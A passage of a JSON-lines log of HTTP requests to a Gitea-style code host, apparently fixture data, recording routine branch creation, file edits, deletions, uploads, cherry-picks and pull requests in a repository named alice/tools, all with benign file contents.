name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
